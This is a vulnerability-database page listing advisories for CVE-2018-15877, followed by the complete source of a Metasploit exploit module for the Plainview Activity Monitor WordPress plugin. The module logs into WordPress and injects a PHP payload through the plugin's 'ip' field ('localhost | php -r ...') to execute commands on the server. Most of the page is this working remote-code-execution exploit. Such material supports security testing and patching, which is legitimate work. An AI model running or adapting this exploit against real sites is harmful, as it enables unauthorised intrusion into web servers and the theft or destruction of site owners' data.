| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| WordPress Plainview Activity Monitor 20161228 Plugin - Command Injection Exploit | 28 Aug 201800:00 | – | zdt | |
| WordPress Plainview Activity Monitor 20161228 Remote Command Execution Exploit | 30 Nov 201900:00 | – | zdt | |
| WordPress Plainview Activity Monitor 20161228 Plugin - Remote Code Execution (Authenticated) Exploit | 7 Jul 202100:00 | – | zdt | |
| CVE-2018-15877 | 26 Aug 201800:00 | – | attackerkb | |
| CVE-2018-15877 | 27 Aug 201800:00 | – | circl | |
| WordPress Plainview Activity Monitor Plugin OS Command Injection Vulnerability | 27 Aug 201800:00 | – | cnvd | |
| WordPress Plainview Activity Monitor Plugin Command Injection (CVE-2018-15877) | 5 Sep 201900:00 | – | checkpoint_advisories | |
| CVE-2018-15877 | 26 Aug 201807:00 | – | cve | |
| CVE-2018-15877 | 26 Aug 201807:00 | – | cvelist | |
| WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection | 27 Aug 201800:00 | – | exploitdb |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Plainview Activity Monitor RCE',
'Description' => %q{
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability.
Vulnerable plugin version: 20161228 and possibly prior
Fixed plugin version: 20180826
},
'Author' =>
[
'LydA(c)ric LEFEBVRE', # Vulnerability discovery
'Leo LE BOUTER', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-15877' ],
[ 'EDB', '45274' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => '&>\'',
},
'Targets' => [['WordPress', {}]],
'DisclosureDate' => 'Aug 26 2018'
))
register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with" ])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
])
end
def check
unless wordpress_and_online?
vprint_error("#{target_uri} does not seeem to be Wordpress site")
return CheckCode::Unknown
end
check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
end
def exploit
check_code = check
unless check_code == CheckCode::Detected || check_code == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
user = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to login...")
cookie = wordpress_login(user, password)
if cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_good("Login Successful")
store_valid_credential(user: user, private: password, proof: cookie)
uri = normalize_uri(target_uri.path, 'wp-admin/admin.php')
vars_get = {
'page' => 'plainview_activity_monitor',
'tab' => 'activity_tools'
}
vars_post = {
'ip' => "localhost | php -r '#{payload.encoded}'",
'lookup' => 'Lookup',
'submit' => 'Submit request'
}
send_request_cgi(
'method' => 'POST',
'cookie' => cookie,
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation